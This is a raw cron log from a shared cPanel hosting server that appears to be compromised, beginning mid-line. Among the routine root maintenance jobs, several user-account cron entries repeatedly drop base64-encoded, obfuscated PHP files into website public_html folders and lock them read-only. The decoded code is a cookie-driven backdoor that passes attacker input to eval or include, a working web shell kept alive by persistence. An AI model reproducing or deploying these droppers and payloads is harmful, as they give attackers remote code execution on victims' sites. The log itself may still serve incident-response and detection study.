GVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:03:02 medusa CROND[11241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:03:02 medusa CROND[11245]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:03:02 medusa CROND[11247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:03:02 medusa CROND[11252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:03:02 medusa CROND[11254]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:03:02 medusa CROND[11255]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:03:02 medusa CROND[11256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:03:02 medusa CROND[11258]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:04:02 medusa CROND[13025]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:04:02 medusa CROND[13056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:04:02 medusa CROND[13057]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:04:02 medusa CROND[13058]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:04:02 medusa CROND[13059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:04:02 medusa CROND[13061]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:04:02 medusa CROND[13062]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:04:02 medusa CROND[13064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:04:02 medusa CROND[13065]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:04:02 medusa CROND[13067]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:04:02 medusa CROND[13068]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:04:02 medusa CROND[13070]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:04:02 medusa CROND[13074]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:05:01 medusa CROND[14839]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:05:01 medusa CROND[14843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:05:01 medusa CROND[14844]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:05:01 medusa CROND[14845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:05:01 medusa CROND[14846]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:05:01 medusa CROND[14847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:05:01 medusa CROND[14848]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:05:01 medusa CROND[14849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:05:01 medusa CROND[14851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:05:01 medusa CROND[14855]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:05:01 medusa CROND[14850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:05:01 medusa CROND[14857]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:05:01 medusa CROND[14859]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:05:01 medusa CROND[14853]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:05:01 medusa CROND[14861]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 04:05:01 medusa CROND[14864]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:05:01 medusa CROND[14865]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
